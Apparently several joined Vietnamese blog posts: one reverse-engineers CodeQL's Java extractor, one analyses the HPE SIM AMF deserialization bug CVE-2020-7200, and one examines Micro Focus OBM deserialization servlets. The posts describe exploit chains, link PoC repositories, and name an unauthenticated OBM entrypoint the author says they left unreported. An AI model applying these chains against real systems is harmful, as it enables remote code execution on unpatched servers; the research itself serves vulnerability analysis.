Một ví dụ nhỏ về Datalog, có schema như sau:

Tương ứng với schema trên, mỗi khai báo sau sẽ tương ứng với một “fact” của schema đó:

//Lại thêm vấn đề về Datalog, bạn đọc có thể đọc thêm tài liệu về Datalog tại đây: http://bluehawk.monmouth.edu/~rscherl/Classes/KF/ull.pdf

Điều đó giải thích lý do tại sao các trap file và file schema lại có dạng như vậy, vì đơn giản: Semmle sử dụng Datalog, không phải SQL!

Và hệ quả là cách viết câu query cũng không giống như cách viết query trên SQL! (nó khác nhiều lắm đó, chỉ là tại thời điểm viết mình méo nhớ gì nữa nên ko thể đưa ra ví dụ trực quan cho các bạn (ಥ_ಥ), sorry !)

#DEBUG

Quay trở lại với việc debug, lần này là debug thật nè!

Breakpoint dừng tại JavaExtractor#367:

Đối số được truyền vào chính là nội dung của file mã nguồn đang được gọi từ trình biên dịch “javac”.

Giống với tên, this.output là object quyết định vị trí output của các trap file:

Tại CompilationUnitExtractor.process()#47, trap writer cho file mã nguồn hiện tại được set:

Tiếp tục đi vào ClassDeclExtractor.process() để extract các thông tin của từng class trong file mã nguồn hiện tại:

ClassDeclExtractor override các method “visit” của javac_extend.com.sun.tools.javac.tree.JCTree.Visitor để lấy thông tin (cũng giống như cách hoạt động của MethodVisitor trong ow2 asm (https://asm.ow2.io/asm4-guide.pdf).

Các label của trap file được quyết định mỗi khi gọi tới các method “get**Key()”. Từ các method “get**Key()” này sẽ gọi tới TrapWriter.globalID(key) để kiểm tra xem label đã được tạo hay chưa, nếu có thì lấy, không thì tạo mới 1 label và push vào cache:

Bạn đọc có thể làm tương tự với các trường hợp khai báo field, method, var … mình xin phép chỉ hướng dẫn tới đây

.

.

Như vậy qua 2 phần của bài viết, mình đã nói sơ qua về cách thức hoạt động cũng như cách để tìm hiểu cách Semmle Core hoạt động.

Để thực thi được các câu truy vấn, cần phải đề cập tới DB Engine

Tuy nhiên do phạm vi nghiên cứu đã quá lan man, nên mình chưa xem về cách hoạt động của DB.

Hy vọng một ngày đẹp trời nào đó sẽ có người tiếp tục topic này!

Cảm ơn các bạn đã theo dõi!

Ref:

• https://help.semmle.com/33t4mskxr3-discontinued/semmle-cli/semmle-core-cli-1.24.pdf

• http://bluehawk.monmouth.edu/~rscherl/Classes/KF/ull.pdf

• https://courses.cs.washington.edu/courses/csep544/17au/lectures/lec3-ra-datalog.pdf

• https://userpages.uni-koblenz.de/~laemmel/gttse/2007/pdfs/52350085.pdf

• https://help.semmle.com/home/Resources/pdfs/scam07.pdf

• ….

Jang of VNPT ISC

Vào khoảng thời gian đó, mình đang trong trạng thái betak khi nghiên cứu về 1 công cụ tự động tìm kiếm lỗ hổng — GadgetInspector.

Không lâu sau đó, vào tháng 9–2019, Github mua lại Semmle và đổi tên thành CodeQL như hiện tại. (https://techcrunch.com/2019/09/18/github-acquires-code-analysis-tool-semmle/).

Cũng vừa đúng lúc vào mùa đồ án tốt nghiệp, mình đề xuất luôn đề tài nghiên cứu về CodeQL và được accept luôn. Chỉ tiếc là kết quả đồ án ko đc như mong đợi lắm 😶.

.

.

CodeQL — Semmle — Odasa, … đem đến luồng gió mới cho lĩnh vực code review, thay vì phải trace các call graph, CodeQL chuyển thể tất cả các dữ liệu về source code thành một dạng cơ sở dữ liệu, và việc tìm kiếm lỗ hổng bây giờ sẽ thực hiện bằng cách truy vấn trên đám Db này.

(Theo thông tin biết được từ một người bạn, có 1 enterprise product khác tương tự, cũng hoạt động bằng cách chuyển tất cả mã nguồn sang dạng Normalized Syntax Tree và phân tích trên đó. Tuy nhiên do tính thương mại của sản phẩm này nên mình không đề cập quá sâu tại bài viết này).

Giải pháp này đã được chứng nhận và thương mại hóa với sản phẩm LGTM, dĩ nhiên là bộ core của nó cũng là closed-source luôn.

Điều này gây ra khá nhiều khó khăn trong quá trình tìm hiểu về kiến trúc cũng như cách hoạt động của Semmle,

Trong suốt thời gian 1 năm trở lại đây, mình đã rất nhiều lần mặt dày hỏi nhà phát triển về vấn đề public source code của bộ Semmle Core Java, nhưng đều nhận được câu trả lời là “chưa biết”.

Sở dĩ mình mặt dày vậy là vì một phần của bộ core dành cho C#, python, golang đều đã được public, nhưng Java thì không ¯_(ツ)_/¯.

Thôi thì đành nghiên cứu = cách Reverse Engineering vậy, dù sao bộ core này cũng được xây dựng bằng Java nên việc dịch ngược không khó lắm.

• Lưu ý: Bài viết được dựa trên phương diện khách quan, do đó có thể có nhiều sai sót so với tài liệu chính.

À quên, xin đính chính lại mục đích của bài viết này là về cách hoạt động của CodeQL chứ không phải cách sử dụng CodeQL nhé! Có lẽ sự tò mò đã ngấm vào máu của mình từ khi còn bé, mình thích nghiên cứu về cách hoạt động của 1 thứ gì đó hơn là về cách sử dụng thứ đó.

Tại thời điểm 2019, khi mình bắt đầu nghiên cứu về Semmle thì có 1 số ít tài liệu về cách hoạt động của bộ core, đa số là lấy từ trang chủ help.semmle.com.

Vào thời điểm viết bài thì số tài liệu liên quan tới cách hoạt động của Semmle Core đã không cánh mà bay, được thay thế bằng 1 số tài liệu khác. Bạn đọc có thể tham khảo mô tả về cách hoạt động của bộ core tại đây: https://web.archive.org/web/20190918221214/https://help.semmle.com/wiki/display/SD/What+does+Semmle+Core+do (link web cũ đã bị thay thế) hoặc (https://help.semmle.com/33t4mskxr3-discontinued/semmle-cli/semmle-core-cli-1.24.pdf #page 7).

Ngoài ra trong quá trình làm đồ án mình cũng sưu tầm được gần chục paper về Datalog cũng như paper về .QL đời đầu, được publish bởi chính nhà phát triển, bạn đọc có nhu cầu nghiên cứu về vấn đề này có thể liên hệ mình để lấy các tài liệu này!

#Các thành phần chính của Semmle

Về cơ bản, có thể nhận thấy Semmle bao gồm các thành phần chính như sau:

• Extractor: đóng vai trò thu thập & phân tích mã nguồn để tạo thành một bộ cơ sở dữ liệu hoàn chỉnh về các statement, call graph, variable …

• DB Engine: xử lý các câu truy vấn về bộ mã nguồn được gửi lên, kiến trúc được dựa trên Datalog

Sơ lược về Semmle Core

Trên thực tế còn có một số thành phần khác, bài viết này chỉ tập trung vào nghiên cứu về 2 thành phần này là chủ yếu. Bên cạnh đó, bài viết này chỉ là cái nhìn phiến diện của tác giả về cách hoạt động của chúng, mình không dám chắc 100% đây là cách hoạt động chính thống của Semmle!

#Extractor

Ảnh gốc về cách hoạt động của Extractor

Theo mô tả từ official document, với các ngôn ngữ biên dịch, ví dụ như Java, quá trình tạo cơ sở dữ liệu sẽ thực hiện bằng cách “intercept” và lắng nghe các lệnh gọi tới trình biên dịch:

Biên dịch

Việc intercept này diễn ra hoàn toàn trong suốt, không cần phải tác động gì thêm vào các build script của chương trình (ví dụ như: pom.xml, build.gradle …) . Bằng việc intercept này, “Extractor” sẽ nhận được các thông tin của bộ mã nguồn, các call graph, variable …, từ chính trình biên dịch. Sau đó các dữ liệu này sẽ được chuyển thể sang một dạng biểu diễn quan hệ, gọi là “trap” file (cách biểu diễn về file này sẽ được cung cấp thêm phía dưới). Quá trình trên có thể mô phỏng bằng sơ đồ sau:

Cách hoạt động của Extractor

Với mỗi file mã nguồn (ví dụ: Foo.java) sẽ được chuyển sang 1 file trap tương ứng (Foo.trap).

File trap này có thể coi như là 1 file SQL trong các hệ quản trị cơ sở dữ liệu thông thường, dùng để lưu thông tin và có thể import vào CSDL sau đó.

Và cũng giống như file SQL, file trap cũng có dạng database schema riêng, mỗi file đều phải tuân theo schema này.

Database Schema

Một ví dụ về biểu diễn thành phần của chương trình sau khi được chuyển thể sang trap file:

Đoạn code mẫu đơn giản như sau:

Và sau khi được chuyển sang trap file:

Biểu diễn dữ liệu bên trong 1 trap file

• Original: https://help.semmle.com/QL/ql-training/java/program-representation-java.html#10

Trong đó có kiểu “int”, được lưu tại table “primitives”, có id là “1”,

Biến local tên là “i”, được lưu tại table “localvars”, có id là “2”. (không phải 1, lý do sẽ được trình bày sau). Biến local này có “typeid” là “1”, tương ứng với kiểu “int” tại table “primitives”.

Tiếp theo là table “variableBinding”, có expr: “4”, variable: “2”, tương ứng với biểu thức “4” có tác động tới biến “2”.

Phía trên là những gì mình tổng hợp được từ các nguồn tài liệu nói về cách hoạt động của Semmle Core,

Tuy nhiên, đó mới chỉ là phần lý thuyết, mà với mình thì nó chưa đủ thuyết phục để có thể nói là “hiểu” được.

#Let’s get your hand dirty!

Để thực nghiệm về quá trình hoạt động của Extractor, mình tạo 1 project đơn giản và cho build db với project này, sau đó quan sát các tiến trình được sinh ra từ đó (sample được upload tại đây: https://github.com/testanull/simple-java-sample).

Command được dùng để build như sau:

codeql database create **test12 **--language=java --command=".\build.cmd"

Content của file “build.cmd”:

Các tiến trình được sinh ra sau khi chạy lệnh build DB:

Process

Sau khi chạy command build “.\build.cmd”, chương trình gọi tới trình biên dịch “javac”, và 1 tiến trình con “java” mới được sinh ra từ đó. Đây chính là công đoạn intercept trình biên dịch để lấy các thông tin của mã nguồn.

Tiến trình con sinh ra từ “javac” là tiến trình chính xử lý việc lấy thông tin của mã nguồn và tạo thành trap file:

Sau bao nhiêu bước loằn ngoằn, cuối cùng vẫn kết thúc với “java”,

Ở phase này, file jar library được sử dụng là “semmle-extractor-java.jar” với main class: com.semmle.extractor.java.JavaExtractor

Hiện tại chúng ta sẽ tạm dừng tại đây, hẹn gặp lại trong phần 2.

.

.

to be continued

Có thể với những người làm về java đủ lâu sẽ nhận ra CVSS 9.8/10 thì chỉ có Deserialization chứ còn gì nữa ¯_(ツ)_/¯.

Product bị ảnh hưởng ở đây là một enterprise product có tên: HPE System Insight Manager (SIM).

Product này có thể dùng ở dạng trial, link down tại đây: Document Display | HPE Support Center Edit descriptionsupport.hpe.com

Và tình cờ khi lướt qua ZDI, mình cũng thấy bug này xuất hiện trên published advisory, bug này được mô tả như sau:

Rõ ràng trường hợp này chính là AMF -> Deserialization,

Về mảng AMF Deser này mình không nghiên cứu nhiều lắm, có thằng em xã hội PeterJson cũng đã làm khá nhiều, một bài viết khá hay về AMF Deser của Đức tại đây . Trong quá trình viết PoC đã phải tham khảo rất nhiều thông tin từ thanh niên này …

Bài viết dưới đây là chút phân tích về lỗ hổng CVE-2020–7200, cũng như cách nhìn của mình về AMF Deserialization.

#SETUP & DEBUG các thứ

Môi trường mình sử dụng là Windows Server 2016, mặc dù HPE SIM hỗ trợ cả linux nhưng mình vẫn quen với các công cụ hỗ trợ về process trên windows hơn là trên linux, và lý do nữa là nổ calc trên win phê hơn 😎.

Một chút lưu ý khi setup trên môi trường windows, đó là cần phải enable Feature SNMP Service của windows lên trước và cài dotNet 3.5, sau đó việc cài đặt sẽ diễn ra suôn sẻ:

.

.

Quay trở lại với document về cách vá tạm thời của HPE có đề cập như sau:

• more detail: https://support.hpe.com/hpesc/public/docDisplay?docLocale=en_US&docId=hpesbgn04068en_us

HPE không cung cấp bản vá mà chỉ cho cách xử lý tạm thời chỉ đơn giản là xóa simsearch.war trong “C:\Program Files\HP\Systems Insight Manager\jboss\server\hpsim\deploy\”, vậy có nghĩa đây chính là nguyên nhân chính gây ra lỗ hổng này!

Theo suy luận là như thế nhưng để viết được PoC thì cần phải setup debug cho nó trước đã.

Việc setup debug trên target này khá là loằn ngoằn, mình đã mất nguyên buổi chiều để ngồi nghiên cứu tìm chỗ nó startup servlet.

Sau khi đánh giá dựa trên các thông tin mà HPE cung cấp cũng như bằng các biện pháp tâm link thì mình đã biết được entrypoint của bug này nằm tại:

[https://<target>:50000/simsearch/messagebroker/amfsecure](https://192.168.139.217:50000/simsearch/messagebroker/amfsecure)

web.xml simsearch

service-config.xml simsearch

Và đúng như CVSS 9.8/10, đây là 1 entrypoint pre-auth

entrypoint amf

.

.

Truy tìm process theo listen port 50000 được 1 process khá là không liên quan lắm:

Hiện tại mình đang muốn tìm 1 process java or jboss gì đó, trông như vậy thì không giống lắm. Có thể các product của HPE về sau đều được gói gọn cả java vào thành dạng portable mất rồi.

Check các Handles của process mxdomainmgr.exe có thể thấy nó vẫn load các java library như 1 process java thông thường (trò này mình mới học được, dùng để kiểm tra chính xác các library nào có sẵn trong classpath của target).

Dò ngược về process cha của mxdomainmgr, chính là hpsimsvc.exe,

Cũng may thay, process này là service nhưng nó cũng cho phép chạy dưới dạng console cho phép mở interactive console để trực tiếp đọc các log của chương trình đẩy ra bằng options “-console”:

Trong quá trình nhìn ngắm từng dòng của log của chương trình đẩy ra, mình có để ý 1 dòng error log được log lại nhiều lần:

Giác quan thứ 7, chủ nhật của mình mách bảo rằng file “C:\Program Files\HP\Systems Insight Manager\config\globalsettings.props” chính là thứ cần tìm lúc này.

Và sau khi kiểm chứng thì mình có thể khẳng định file này là file chứa các setting cũng như quyết định environment của chương trình sẽ chạy. Biến môi trường JAVA_OPTS cũng được khai báo tại đây, để setup remote debug được thì mình đã thêm options debug tại dòng 214 của globalsettings.props:

#THE BUG

Tiếp theo là công cuộc tìm lib để debug, thì bây giờ đã nhẹ nhàng hơn với trò mới này.

Chỉ việc dùng Process Explorer hoặc Process Hacker, check phần Handles sẽ show ra các file đang được tác động bởi process này. Trong đó bao gồm cả các file library của java được load lên (gián tiếp hay trực tiếp):

Kéo hết cả đám này ra 1 folder riêng và ném vào IntellIJ để debug thôi!

Theo config của web.xml, flex.messaging.MessageBrokerServlet sẽ handle entrypoint /simsearch/messagebroker/*

Class này sẽ nhận vào request và kiểm tra endpoint có tồn tại trong config hay không, và sau đó sẽ tiếp tục invoke class được define tương đương với endpoint đó:

Trong config của HPE SIM chỉ có duy nhất endpoint /amfsecure:

Trong đó class xử lý cho endpoint /amfsecure là flex.messaging.endpoints.SecureAMFEndpoint

SecureAMFEndpoint thừa kế AMFEndpoint

AMFEndpoint thừa kế BasePollingHTTPEndpoint

BasePollingHTTPEndpoint thừa kếBaseHTTPEndpoint

Các class SecureAMFEndpoint, AMFEndpoint, BasePollingHTTPEndpoint không có override method HttpServlet.service(), do đó khi MessageBrokerServlet invoke endpoint service, nó sẽ invoke 1 override method gần nhất, đó là BaseHTTPEndpoint.service()

Tuy nhiên this.filterChain lại được init tại AMFEndpoint.createFilterChain():

Method AMFEndpoint.createFilterChain() sẽ khởi tạo 1 instance của SerializationFilter. Lỗ hổng của AMF bị tận dụng trước đó da số cũng đều dựa vào SerializationFilter này để deserialize object.

Tiếp sau đó, body request sẽ được đưa vào AmfMessageDeserializer.readMessage() để xử lý thêm.

Tại đây để debug tiếp thì cần có 1 request theo đúng chuẩn của AMF, mình có sử dụng mẩu code example của codewhitesec amf, gói bừa 1 object vào để gen payload gửi tiếp. Code mình sử dụng được push lên tại đây.

Sau khi có 1 payload hợp lệ, tiếp tục debug vào AmfMessageDeserializer.readBody(), method này tiếp tục gọi AmfMessageDeserializer.readObject() để reconstruct object.

Từ AmfMessageDeserializer.readObject() sẽ gọi tiếp tới Amf0Input.readObject() -> Amf0Input.readObjectValue().

Amf0Input.readObjectValue() lại gọi tiếp tới Amf3Input.readObject() -> Amf3Input.readObjectValue() ->Amf3Input.readScriptObject() .

Mình ko rõ tại sao đoạn xử lý này lại hơi cồng kềnh như vậy nữa. Chỉ biết là tại Amf3Input thì các Object mới thực sự được xử lý.

Method Amf3Input.readScriptObject() xác định class đang được xử lý có thể được Externalizable (check implement java.io.Externalizable) hay không.

Nếu có implement Externalizable thì sẽ invoke method readExternal() của object đang được xử lý, như trong ví dụ mình sử dụng class LRUMap của CommonsCollections, có implement Externalizable và override method readExternal():

LRUMap

Debugger dừng tại LRUMap.readExternal()**

Đây là 1 hướng có thể lợi dụng để tiếp tục tìm các gadget chain trigger RCE sau đó, hoặc tìm 1 gadget chain từ readExternal() -> readObject() như trong bài của Đức có đề cập, chi tiết tại đây.

Tuy nhiên trong quá trình debug, Đức có suggest mình là từ AMF có thể trigger cả setter method nữa,

Check lại trong code, nếu như class không thể Externalizable, sẽ chuyển sang 1 nhánh khác để xử lý. Nhánh này sẽ lấy các property của class và sử dụng BeanProxy.setValue() để set lại các giá trị này.

Khi set giá trị cho các property này, BeanProxy sẽ cố gắng tìm các setter method của class và invoke.

Từ đó giải thích tại sao lại có thể chuyển từ AMF deserialization sang invoke setter method để trigger RCE.

Có thể tóm tắt chain attack bằng hình sau:

Đối với trường hợp trong bài viết của @peterjson, do trong classpath có tồn tại khá nhiều library nên việc tìm ra 1 chain để lead từ readExternal() sang readObject() không phải chuyện quá khó.

Còn trong trường hợp hiện tại thì library khá là hạn chế nên việc tìm ra chain như vậy khá là khó khăn, mình đành sử dụng cách thứ 2 đó là dùng setter method.

Loay hoay một hồi thì thanh niên Đức tìm ra 1 chain có sẵn trong classpath có thể lợi dụng được, đó là: org.jgroups.blocks.ReplicatedTree.setState()

Chain này thực tế đã được tìm ra trước đó và đề cập tại: https://codewhitesec.blogspot.com/2018/03/exploiting-adobe-coldfusion.html

Xem xét lại method setState() có thể thấy method này nhận vào mảng byte, sau đó gọi tiếp Util.objectFromByteBuffer().

Đúng như tên gọi của method, Util.objectFromByteBuffer() nhận vào mảng byte và sau đó khởi tạo ObjectInputStream và gọi readObject() từ đó:

Như vậy hiện tại chúng ta đã có thể lead từ AMF Deser -> Setter method invoke -> Java Deserialization.

Sau một hồi loằn ngoằn mỳ tôm, cuối cùng cũng đã quay trở lại vấn đề muôn thuở: Java Deserialization.

Vấn đề bây giờ là deser cái gì, dùng gadget gì mới được …

Ban đầu khi viết PoC thì mình có nghĩ là product này khá mới, CommonsCollections đều 3.2.2 hết cả rồi, khó mà dùng lại các chain cũ.

Tuy nhiên, vô tình khi tìm class thì mình có phát hiện trong classpath của HPE SIM có tới 3 library CommonsCollections,

Trong đó lại may mắn thay, CommonsCollections được sử dụng trong classpath của JBoss chỉ có version là 3.1 😂

Theo mình nghĩ, có thể là đang gửi request từ webapp, jboss lại đang xử lý trực tiếp nên nó sẽ sử dụng luôn CommonsCollections tìm thấy trong thư mục library thay vì sử dụng lib nó tìm thấy tại global library. ¯_(ツ)_/¯ Need more information!

Tiếp tục lại có 1 vấn đề mới nảy sinh: Làm sao để set cái prop “state” của ReplicatedTree?

Thông thường thì các prop sẽ có 1 private field đi kèm, dạng như vậy:

Property “foobyte” sẽ được có field foobyte, và các setter + getter method đi kèm.

Đối với ReplicatedTree thì không phải vậy:

Ngày trước mình xử lý các trường hợp này bằng cách viết lại và fake cái class này cho phù hợp với mục đích. Cách này cũng vẫn xử lý được nhưng cảm giác không được chuyên nghiệp lắm =))).

Tình cờ trong 1 lần nghiên cứu 1 tool về deserialization (GadgetProbe), mình biết được javassist có thể được dùng để tạo mới hoặc chỉnh sửa các thành phần của 1 class nào đó, ví dụ như thêm field, method, …

Quay trở lại với phần PoC, mình sử dụng javassist vào để thêm 1 field “state” cho ReplicatedTree, và thay đổi method getState() cho phép return giá trị của field “state” này. Đoạn code xử lý ngắn gọn như sau (có kèm theo bài viết):

Như vậy các vấn đề đều đã được xử lý, chỉ cần gói serialized object vào field state, ròi serialize tiếp bằng AMF là xong:

PoC video tại đây: https://youtu.be/XLAqBqToXW0

PoC github: https://github.com/testanull/ProjectSIM

Tham khảo thêm:

• https://codewhitesec.blogspot.com/2017/04/amf.html

• https://codewhitesec.blogspot.com/2018/03/exploiting-adobe-coldfusion.html

• https://medium.com/@peterjson/cve-2020-2950-turning-amf-deserialize-bug-to-java-deserialize-bug-2984a8542b6f

Cảm ơn các bạn đã đón đọc,

Jang with Luv ❤

Mấy ngày nay mình có lượn lờ quanh các trang mạng để tìm kiếm nguồn cảm hứng mới cho công việc, hết twitter, reddit, ròi tới facebook …

Tình cờ có liếc qua published advisories của ZDI thì thấy khá nhiều bug về deserialization được publish, đếm sơ sơ thì từ đầu năm đến giờ cũng đã có tới ~100 bug về deserialization được report cho ZDI:

Hmm, nếu vậy thì con số bug ngoài thực tế (mà ko đc report cho ZDI) có thể sẽ còn lớn hơn gấp 4–5 lần thế này.

Vì không phải researcher nào cũng có hứng với ZDI, nhiều người họ lấy việc tìm bug làm thú vui, public PoC trước khi có patch lại là 1 thú vui bệnh hoạn hơn nữa =))).

Xem xét kỹ hơn thì có 1 điểm đáng chú ý ở đây: trong số 100 lỗi về deserialization thì có tới 40 lỗi nằm trên 1 product: Micro Focus Operations Bridge Manager

Điều này làm mình khá tò mò và thầm nghĩ trong đầu:

“Quèo, tính sơ sơ mỗi bug ZDI nó trả 750$, 750x40 = 30k$ cmnr.”

Làm kinh tế không khó với ZDI 🤣🤣.

Thế là lại bắt đầu công cuộc setup lab và debug thôi!

#SETUP

Cũng khá may mắn cho mình, Micro Focus Operations Bridge Manager (OBM) cho phép download bản trial tại đây. Cần 1 acc login vào để down, nếu lười reg thì có thể dùng acc share tại bugmenot như mình đã làm tương tự với ibm và oracle ¯_(ツ)_/¯.

Một lưu ý nho nhỏ khi setup là nên follow guide tại đây, nếu ko sẽ gặp nhiều rắc rối mà ko rõ nguyên nhân, một số điểm chính như sau:

• Disable UAC trong registry

• Sử dụng 1 cái domain cho lab vì OBM ko chấp nhận sử dụng ip

Target này khá là nặng và ngốn rất nhiều tài nguyên, cấu hình recommend cho lab để đảm bảo debug ổn định: 16GB RAM, 8 core, 100GB disk. Công cuộc setup mất khoảng 40–50p gì đó, khá là lâu, để khởi động cũng mất thêm 15–20p nữa 😂.

Sau khi install xong thì sẽ tới đoạn basic setup, tại đây mình có 1 số lưu ý nho nhỏ sau:

• Tại TLS Setup, bỏ tick Enable HTTPS đi, bởi vì sẽ bị lỗi linh tinh về cert hay gì đó, mình fix mãi ko đc nên đành disable nó đi.

• Tại đoạn set OBM URL, nhớ điền đúng domain đã đặt tên cho ip của lab, như trong lab của mình là example.com A.K.A 192.168.139.134.

Đoạn này nếu để nguyên IP thì sau đó OBM sẽ vẫn hoạt động nhưng 1 số chức năng lại yêu cầu FQDN mới cho sử dụng, cần cân nhắc khi setup!

Sau khi setup xong thì đã có thể start OBM rồi, quá trình start diễn ra trong khoảng 15–20p, có thể check status với Operations Bridge Manager Status:

Chờ startup xong thì chúng ta có được thành quả như sau:

.

.

.

#Debugging …

Phần này là hướng dẫn cho newbie, nếu đã biết rồi bạn có thể bỏ qua và xem tiếp tại phần #The known bugs và #The unknown bugs *phía dưới

Chợt nhận ra sau khi mình publish bài về CVE-2020–14882, rất nhiều bạn có nhắn tin hỏi mình, đại khái là làm sao để debug …

Vậy thì sau đây mình sẽ trình bày về quá trình từ tìm đối tượng để debug, tới setup debug với intellij như thế nào …

Sẽ lấy đây làm bài học cơ bản để cho các bạn bắt đầu nghiên cứu về lỗ hổng trên Java có thể tham khảo và biết cách setup debug.

1. Setup phía server

1.1. Xác định đối tượng cần debug

Tiếp tục với target OBM, sau khi setup xong thì chỉ biết được là OBM chạy ở port 80, check process nào đang handle port 80 với Process Hacker:

Binary httpd.exe này chính là Apache HTTP Server, được đặt tại: C:\HPBSM\WebServer\bin, vậy có nghĩa là file config của nó sẽ chỉ ở loanh quanh đâu đó bên ngoài thôi. Như trong lab của mình thì config được lưu tại: C:\HPBSM\WebServer\conf.

Do hiện tại chưa có thông tin gì về vị trí của các file webapps, mà Apache lại đang handle tất cả các request ở port 80, có thể nó hoạt động như 1 proxy, hoặc nó xử lý trực tiếp servlet, vậy nên đọc file config là cách tốt nhất để tìm ra chúng.

Sau một hồi đọc file config, để ý với các Alias:

Có thể thấy các file war được deploy đều nằm trong C:\HPBSM\AppServer\webapps\:

Tiếp tục đọc httpd.conf, tại dòng 844 thì include thêm các file conf tại folder “conf.d”

Trong này chỉ có duy nhất 1 file “load_mod_jk.conf”

Theo như thông tin tìm được trên wikipedia, mod_jk là 1 module của Apache cho phép kết nối Tomcat servlet với Apache, hoặc IIS qua giao thức AJP (port 8009):

Trong trường hợp này, process của Jboss.exe đang listen port 8009

=> Web server của OBM = Apache + Jboss

Trong đó Jboss đóng vai trò là thằng xử lý chính các webapps, để debug thì chúng ta cần phải sửa startup param của Jboss.

Kiểm tra trong Process list thì Jboss.exe được spawn ra từ 1 script tại: C:\HPBSM\bin\start_as.bat

File này chỉ đơn thuần làm nhiệm vụ thiết lập jboss env, sau đó tiếp tục gọi “%JBOSS_HOME%\bin\standalone.bat” để start Jboss:

Ở đầu file startup “standalone.bat” của Jboss có hướng dẫn là chỉ cần thêm option “--debug” là sẽ có thể debug được.

Tuy nhiên, để có thể làm với tất cả các target java khác thì mình sẽ hướng dẫn setup debug bằng tay.

Trước tiên là cần tìm biến môi trường có chứa các tham số startup của Java process, biến môi trường này thường có tên là JAVA_OPTS:

Thêm vào đâu đó trong startup script dòng sau (với Linux thì các bạn tùy biến lại 1 chút):

set "**JAVA_OPTS**=%JAVA_OPTS% -agentlib:jdwp=transport=dt_socket,address=**5005**,server=y,suspend=n"

Thêm vào đâu cũng được, miễn là trước khi Java process được gọi:

Thực hiện stop và start lại process Java (ở đây là Jboss) để load debug config vừa thêm vào, các bạn có thể để ý ở Command line output có dòng “Listening for transport dt_socket at address: 5005”, nghĩa là đã setup debug thành công!

Vậy là đã setup debug ở phía server thành công, việc tiếp theo là setup ở phía client, hay là ở máy của người đang debug!

1.2. Xác định các resource cần debug

Như đã đề cập ở bên trên, các file war của webapps được deploy tại C:\HPBSM\AppServer\webapps

Đối với các webapp này thông thường sẽ có cấu trúc chung như sau (như weblogic, tomcat, … cũng tương tự):

Trong đó:

• lib/ chứa các library mà web này sẽ sử dụng

• classes/ chứa các file class của web app này

• web.xml là file config của webapp

• có thể sẽ có thêm nhiều file config khác trong cùng folder

Một ví dụ cụ thể:

Trong đó, đáng quan tâm chính là folder “WEB-INF/lib/”, để setup debug ở phía client, cần phải bê nguyên cái folder này ra máy client.

2. Setup debug phía client

Phía client, mình thường sử dụng IntellIJ để debug, nó khá là tiện lợi và cung cấp License free cho sinh viên (😘😘).

Để debug thì Create 1 project Java như bình thường:

Create xong project thì tiếp tục bấm vào File > Project Structure > Libraries

Bấm vào dấu “+” để thêm các library của webapp vào đây

Ở cửa sổ chọn library thì nhớ bôi đen chọn tất cả các jar file nhé, nếu chọn mỗi folder không sẽ ko có tác dụng, sau đó hỏi gì cũng cứ Ok, Next next thôi:

Import library xong thì phải chờ mất 1 lúc để IntellIJ index các file vừa add vào, (SSD recommended):

Tiếp theo chọn Add Configuration ở trên Tool bar

Chọn thêm 1 config Remote như sau:

Với Host chính là địa chỉ ip của server đang cần remote debug

Setup xong và có thể thử lại bằng cách Start Debug, nếu response tại console là như vậy thì việc setup đã thành công!

.

.

.

Quá trình setup debug trong thực tế, với mỗi đối tượng khác nhau thì có thể sẽ khác nhau, và mất nhiều thời gian hơn 1 chút. Cần phải dựa vào cách hoạt động của từng target mà tùy chỉnh sao cho phù hợp.

#The known bugs

Trên ZDI có tới 40 bugs, nhưng mình pick đại lấy 1 cái để xem mặt mũi nó ra sao, ở đây mình chọn bug tại SAMDownloadServlet

Bug này được giới thiệu là sử dụng Deserialization để từ 1 authenticated user có thể RCE được:

Search qua 1 vòng ở các webapp của OBM thì thấy SAMDownloadServlet thuộc webapp: opr-web.war, có servlet là com.hp.opr.legacy.sitescope.servlet.SAMDownloadServlet

Tìm tiếp servlet-name SAMDownloadServlet trong web.xml của opr-web thì có thể thấy đang url-pattern để access là “/legacy/topaz/sitescope/conf/download”

Đối với các target khác, cũng có thể dựa vào tag servlet-name trong web.xml để tìm được:

• servlet nào đang handle

• url-pattern như thế nào thì truy cập được servlet đó

Quay trở lại IntellIJ, sử dụng tổ hợp phím Ctrl + N để tìm được class theo tên, ở đây là SAMDownloadServlet, nằm trong file opr-legacy.jar:

• Nếu như không tìm thấy được class dựa vào tên thì có thể bạn đã import thiếu library, cần phải tìm thêm.

Đoạn code xử lý của SAMDownloadServlet khá đơn giản như sau:

Đọc sơ qua cũng biết được servlet này nhận vào input từ phía client và thực hiện deserialize ngay sau đó.

Quá đơn giản phải ko ¯_(ツ)_/¯, ai mà nghĩ được trong 1 product Enterprise sẽ xử lý như vậy. Ez money rồi!

Lúc đầu mình cũng ko tin là ez như thế, xem tiếp các servlet khác thì cũng xử lý stupid tương tự, ví dụ như RegistrationServlet:

Để confirm bug, mình tạm sử dụng gadget URLDNS, kết quả như sau:

Xem xét các servlet khác được khai báo trong web.xml của opr-web thì cũng có kha khá các entrypoint hứa hẹn có thể sử dụng để Deserialize được, chỉ có điều tất cả đều yêu cầu authenticated!

#The unknown bugs

Sau khi xem xét một hồi và khẳng định rằng tất cả các entrypoint tại opr-web đều yêu cầu authen, mình chuyển qua xem các web app khác, đối tượng có tiềm năng nhất đó là webapp site.war. Web app này cũng tương đối phức tạp, có nhiều chức năng, và thú vị hơn là ở webapp này có 1 số unauthen entrypoint

Trong số đó, có 1 unauthen entrypoint đáng chú ý: /kpiQueryServiceProxy, được handle bởi RemoteProxyServlet

Chức năng của RemoteProxyServlet cho phép nhận vào input từ phía client và thực hiện deserialize ngay sau đó:

Để confirm thì lại tiếp tục sử dụng gadget URLDNS

Như vậy là đã đủ điều kiện để report cho ZDI và đem về 1 CVE 9.8/10 rồi, nhưng …

Và rồi mình quyết định không report nữa, vì dù sao bọn này cũng làm ăn khá lề mề, mình thì không chờ được nửa năm để nhận response của họ ¯_(ツ)_/¯.

Đành tiếp tục mổ xẻ, tìm hiểu nguyên nhân và viết gadget RCE cho bug này, vì hiện tại mới chỉ có thể PoC ở mức dns request, các known gadget đều đã bị patch cả rồi!

#The root cause

Vấn đề đầu tiên cần làm rõ: tại sao có url bị check authen, còn 1 số thì lại được bypass!

Chày cối đặt breakpoint, step and repeat, cuối cùng cũng đã tìm được vị trí mà server kiểm tra, xác định url có phải authen hay không,

Tại LWSSOValidationUtils.validate(), method này gọi tới isNonsecureURL() để xác định xem url hiện tại có phải là non-secured request hay không (cũng có thể hiểu là có nên để request này unauth hay không). Nếu đúng thì nó sẽ set thêm attribute “LWSSO_REQUEST_SECURED_ATTRIBUTE” cho request hiện tại, để cho phép request này unauthen:

